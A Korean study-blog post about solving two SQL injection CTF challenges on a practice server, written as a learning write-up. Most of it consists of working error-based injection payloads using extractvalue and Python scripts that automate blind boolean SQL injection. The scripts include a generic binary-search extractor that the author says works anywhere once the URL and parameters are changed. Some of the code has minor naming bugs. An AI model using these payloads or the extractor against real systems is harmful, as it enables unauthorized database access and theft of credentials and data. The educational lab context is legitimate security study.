3. flag를 찾아라
1) SQL Injection 포인트 찾기
아이디: normaltic
비밀번호: 1234
정상적으로 로그인 시 다른 챌린지와 마찬가지로 redirect로 index.php로 이동시켜줍니다.
normaltic'을 입력하니 우리가 생각한데로 문법에러가 화면에 출력됩니다.
extractvalue함수를 사용해서 로직에러가 발생하는지도 확인해보았습니다.
우리가 원하는 데이터를 화면에 출력하기 위해 select를 사용할 수 있는지 확인까지 해보니 전부 사용가능합니다.
2) 공격 format 만들기
위에서 select 'test' 부분에 우리가 원하는 SQL 구문만 넣어주면 될 것입니다.
' and extractvalue('1', concat(0x3a, (__SQL__))) #
공격 포맷 만들기도 끝났습니다.
3) DB 이름 확인
select schema_name from information_schema.schemata 로 모든 데이터베이스 이름을 확인하겠습니다.
' and extractvalue('1', concat(0x3a, (select schema_name from information_schema.schemata limit 0,1))) #
데이터베이스 이름 |
information_schema |
sqli_2_2 |
4) Table 이름 확인
sqli_2_2 데이터베이스에 flag가 있을 것 같으니
select table_name from information_schema.tables where table_schema='sqli_2_2'
' and extractvalue('1', concat(0x3a, (select table_name
from information_schema.tables where table_schema='sqli_2_2' limit 0,1))) #
데이터베이스 이름 | 테이블 이름 |
sqli_2_2 | flagTable_this |
sqli_2_2 | member |
5) 컬럼 이름 확인
flagTable_this에 flag가 있을 것 같습니다.
select column_name from information_schema.columns where table_name='flagTable_this'
' and extractvalue('1', concat(0x3a, (select column_name
from information_schema.columns where table_name='flagTable_this' limit 0,1))) #
테이블 이름 | 컬럼 이름 |
sqli_2_2.flagTable_this | idx |
sqli_2_2.flagTable_this | flag |
6) 데이터 추출
flag 컬럼을 확인하면 될 것 같습니다.
select flag from flagTable_this
' and extractvalue('1', concat(0x3a, (select flag from flagTable_this limit 0,1))) #
위의 공격 포맷을 입력해보는데 flag 컬럼에 여러 데이터가 저장되어있는 것 같습니다.
일단 몇 개의 행이 저장되어있는지 모르니 count 함수를 사용하여 몇 개의 행이 있는지 출력해보겠습니다.
결과로 나온 행에 대해 우리가 일일이 해보기 힘드니 파이썬으로 요청을 보내는 코드를 만들었습니다.
(미리 개수 구하는 것부터 파이썬으로 만듦...)
import requests
# 요청을 보낼 주소
url = "http://ctf.segfaulthub.com:7777/sqli_2_2/login.php"
# POST요청에 같이 보낼 data
params = {
'UserId': "normaltic",
'Password': '1234',
'Submit': 'Login'
}
# 아이디를 우리가 만든 공격 포맷으로 바꿔줌
params['UserId'] = "' and extractvalue(1, concat(0x3a, (select count(*) from flagTable_this))) #"
response = requests.post(url, data=params)
# 결과 출력
print(response.text)
# 결과: Could not update data: XPATH syntax error: ':17'
결과가 17이 나오는 것을 보니 17개의 데이터가 flag행에 저장되어있습니다.
그럼 17번 반복해서 아래의 요청을 보내보면 될 것같습니다. (물론 limit 0,1 을 limit 1,1 ... limit 16,1 까지 바꿔가며...)
' and extractvalue('1', concat(0x3a, (select flag from flagTable_this limit 0,1))) #
limit를 바꿔줘야 전체 행에 들어있는 데이터를 볼 수 있을 것입니다.
import requests
# 요청을 보낼 주소
url = "http://ctf.segfaulthub.com:7777/sqli_2_2/login.php"
# POST요청에 같이 보낼 data
params = {
'UserId': "normaltic",
'Password': '1234',
'Submit': 'Login'
}
# 17번 반복
for i in range(17):
# 반복마다 limit를 바꾸어 줌
params['UserId'] = f"' and extractvalue(1, concat(0x3a, (select flag from flagTable_this limit {i},1))) #"
response = requests.post(url, data=params)
result = response.text
# 우리가 원하는 출력 부분이 error: 뒷 부분이기 때문에 결과에서 'error:' 뒷 부분만 출력
a = result.split('error:')[-1]
print(a)
위의 코드처럼 자동으로 짜서 결과를 확인해보았습니다.
우리는 챌린지를 통해 풀기때문에 데이터베이스와 테이블, 컬럼들은 별로 없었지만 만약 실제로 몇 개가 될지 모르는 경우에는 마지막에 한 것처럼 개수를 먼저 구하고 마지막 자동화한 것처럼 해야할 것 같습니다.
4. Flag를 찾아라
1) SQL Injection 포인트 찾기
아이디: normaltic
비밀번호: 1234
정상적으로 로그인하니 다른 페이지와 마찬가지로 redirect 하면서 index.php로 이동시켜 줍니다.
오류를 발생시킬 거라 생각했던 입력을 넣어도 에러 메시지는 출력되지 않고 실패했다는 결과만 나옵니다.
그럼 Error Based SQLI는 사용을 못할 것 같고
또한, normaltic을 정상적으로 로그인해도 SQL의 결과가 화면에 출력되지는 않기 때문에 UNION SQLI 도 사용하지 못합니다.
그럼 결국 마지막 방법인 Blind SQLI를 사용해서 데이터를 추출할 수 밖에 없을 것 같습니다.
실패 시 warning! Incorrect information이 뜨는 것을 통해 로그인 성공과 실패 시 결과가 다른 것을 사용해 Blind SQLI를 사용할 수 있습니다.
2) select 문 사용가능한지 확인
(select 'test') = 'test'를 넣어 해당 부분이 참이 되게 하고 앞에 적어준 normaltic으로 계정 로그인이 되는지 확인해보았습니다.
302 응답코드로 index.php로 이동시켜주는 거 보니 정상적으로 로그인이 되는 것 같습니다.
그럼 이 부분은 SQL Injection이 가능한 부분이며 select까지 사용할 수 있다는 것을 확인했습니다.
3) 공격 format 만들기
위에 and 뒤에 부분을 우리가 원하는 질의문으로 바꿔주면 될 것입니다.
// 우리가 가져온 데이터의 첫 글자의 아스키코드값은 0보다 크니?
normaltic' and(ord(substr((__SQL__), 0, 1)) > 0) #
이번 문제는 직접 하나씩 하지 않고 자동화 코드를 만들어서 해결해보겠습니다.
4) DB 이름 확인
import requests
# 요청을 보낼 주소
url = "http://ctf.segfaulthub.com:7777/sqli_3/login.php"
# 요청에 포함시킬 데이터
params = {
'UserId': "normaltic",
'Password': '1234',
'Submit': 'Login'
}
# DB 글자 수 확인하는 함수 url, params를 넣어줘서 요청보내기
def findDbLength(url, params):
i = 0
# 글자 수 구하는 SQL
sql = "select length(database())"
# 0 부터 증가시키며 글자수가 맞을 경우 참이 되어 incorrect가 포함되지 않는 것을 활용
while(True):
lengthSearchFormat = f"normaltic' and (({sql}) = {i}) #"
params['UserId'] = lengthSearchFormat
response = requests.post(url, data=params)
if 'Incorrect' not in(response.text):
# 참이 되면 글자수 리턴시켜줌
return i
i += 1
# 데이터베이스 글자 수 구하는 함수 실행
dbLength = findDbLength(url, params)
print(dbLength)
# DB의 길이와 url, params를 인자로 받아 데이터베이스 길이 구하는 함수
def findDb(dbLength, url, params):
dbName = ''
# 실행할 SQL
sql = "select database()"
# 데이터베이스 길이만큼 반복
for i in range(1, dbLength+1):
ascii = [33, 127]
# 한 글자 구할때까지 반복
while(True):
# 아스키의 중앙값을 구해 그것보다 큰지 확인
center = int(sum(ascii) // 2)
attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) > {center}) #"
params['UserId'] = attackFormat
response = requests.post(url, data=params)
# 우리가 원하는 글자가 위치하는 범위 줄여주기
if 'Incorrect' not in(response.text):
ascii[0] = center
else: ascii[1] = center
# 만약 범위가 둘 중 한개로 좁혀질 경우 둘 중 어느 값이 우리가 찾는 값인 지 확인
if ascii[1]-ascii[0] == 1:
attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) = {ascii[0]}) #"
params['UserId'] = attackFormat
response = requests.post(url, data=params)
# 우리가 찾은 글자를 결과에 추가시키기
if 'Incorrect' not in(response.text):
dbName += chr(ascii[0])
break
else:
dbName += chr(ascii[1])
break
# 데이터베이스 이름 리턴
return dbName
// 데이터베이스 글자수 구한 것과 함께 인자로 넣어주어 함수 실행
dbName = findDB(dbLength, url, params)
print(dbName)
5) Table 이름 확인
위에서 하다 느낀 것이 길이를 구할 필요 없이 우리가 요청할 때 해당 글자가 아스키코드로 표현한 값이 0보다 크지 않을 경우 해당값이 없다는 소리이므로 0보다 크지않을 때 멈추면 될 것 같습니다.
# 데이터베이스 이름을 인자로 넣어주어 데이터베이스에 속해 있는 테이블 이름 확인
def findTable(dbName, url, params):
tableName = ''
i = 0
sql = f"select table_name from information_schema.tables where table_schema='{dbName}' limit 0, 1"
while(True):
ascii = [33, 127]
i += 1
# 모든 글자 확인할 때 0보다 큰지 확인하여 글자의 끝인지 확인
attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) > 0) #"
params['UserId'] = attackFormat
response = requests.post(url, data=params)
# 글자가 끝인 경우 거짓으로 Incorrect가 응답에 포함되면 테이블 이름 확인 종료
if 'Incorrect' in(response.text):
break
# 데이터베이스 이름 확인하는 것과 똑같이하여 테이블 이름 확인
while(True):
center = int(sum(ascii) // 2)
attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) > {center}) #"
params['UserId'] = attackFormat
response = requests.post(url, data=params)
if 'Incorrect' not in(response.text):
ascii[0] = center
else: ascii[1] = center
if ascii[1]-ascii[0] == 1:
attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) = {ascii[0]}) #"
params['UserId'] = attackFormat
response = requests.post(url, data=params)
if 'Incorrect' not in(response.text):
tableName += chr(ascii[0])
break
else:
tableName += chr(ascii[1])
break
# 결과 테이블 리턴
return tableName
# 앞에서 구한 데이터베이스 이름을 통해 함수 실행
tableName = findTalbe(dbName, url, parmas)
print(tableName)
6) 컬럼 이름 확인
이때까지 확인하면서 느끼셨을 것인데 똑같은 코드가 계속 반복됩니다.
즉, sql 빼고는 나머지는 같은 방식으로 작동하며 결과를 출력합니다.
그래서 생각한 것이 sql만 입력 받으면 나머지는 똑같이 작동하게 하면 될 것같습니다.
# sql에 따른 원하는 데이터 추출하는 함수
def searchDatabaseWithSql(sql, url, params):
result = ''
i = 0
while(True):
ascii = [33, 127]
i += 1
# 각 글자마다 0보다 큰지 확인하여 글자의 끝인지 확인
attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) > 0) #"
params['UserId'] = attackFormat
response = requests.post(url, data=params)
if 'Incorrect' in(response.text):
break
# 이진 탐색을 사용하여 최소한의 요청으로 데이터 찾기
while(True):
center = int(sum(ascii) // 2)
attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) > {center}) #"
params['UserId'] = attackFormat
response = requests.post(url, data=params)
if 'Incorrect' not in(response.text):
ascii[0] = center
else: ascii[1] = center
if ascii[1]-ascii[0] == 1:
attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) = {ascii[0]}) #"
params['UserId'] = attackFormat
response = requests.post(url, data=params)
if 'Incorrect' not in(response.text):
result += chr(ascii[0])
break
else:
result += chr(ascii[1])
break
# 결과 리턴
return result
# 컬럼 구하는 sql 작성 후 해당 sql로 데이터 찾는 함수 실행
sql = f"select column_name from information_schema.columns where table_name='{tableName}' limit 0, 1"
columnName = searchDatabaseWithSql(sql, url, params)
print(columnName)
이렇게 작성하니 sql에 우리가 원하는 데이터를 가져오는 sql만 작성하면 알아서 데이터베이스, 테이블, 컬럼, 데이터 상관없이 실행할 수 있습니다.
7) flag 가져오기
# 데이터베이스 이름 가져오기
sql = f"select database()"
dbName = searchDatabaseWithSql(sql, url, params)
print(dbName)
# 테이블 이름 가져오기
sql = f"select table_name from information_schema.tables where table_schema='{dbName}' limit 0, 1"
tableName = searchDatabaseWithSql(sql, url, params)
print(tableName)
# 컬럼 이름 가져오기
sql = f"select column_name from information_schema.columns where table_name='{tableName}' limit 0, 1"
columnName = searchDatabaseWithSql(sql, url, params)
print(columnName)
# 데이터 가져오기
sql = f"select {columnName} from {tableName} limit 0, 1"
data = searchDatabaseWithSql(sql, url, params)
print(data)
이렇게 하니 함수 하나로 원하는 데이터를 가져오는 sql 만 넣어주니 해당 데이터가 뚝딱 출력됩니다.
약 20초 정도면 데이터가져오기까지 성공하네요!
Blind SQL Injection 자동화까지 만들어보았습니다.
만약, 다른 곳에서 사용할 경우에는 url과 params를 바꿔주고 참과 거짓을 비교할 수 있는 문자만 바꿔주면 어디든 사용할 수 있을 것 같습니다.
다음 수업때 SQL Injection 자동화, 노하우, ...등 좀 더 쉽고 정확하게 할 수 있는 방법에 대해 수업한다고 합니다.
과제도 끝마쳤고 다음 블로그로 찾아뵙겠습니다.
'웹 해킹' 카테고리의 다른 글
웹 해킹 공부일기장 4 - 1 (SQL Injection 포인트 찾기) (0) | 2023.12.15 |
---|---|
웹 해킹 공부일기장 4 - 2 (SQL Injection 정리) (2) | 2023.12.14 |
웹 해킹 공부 일기장 3 - 과제 (챌린지1) (0) | 2023.12.08 |
웹 해킹 공부 일기장 3 - 2 (Blind SQL Injection) (0) | 2023.12.07 |
웹 해킹 공부 일기장 3 - 1 (Error Based SQLI) (0) | 2023.12.07 |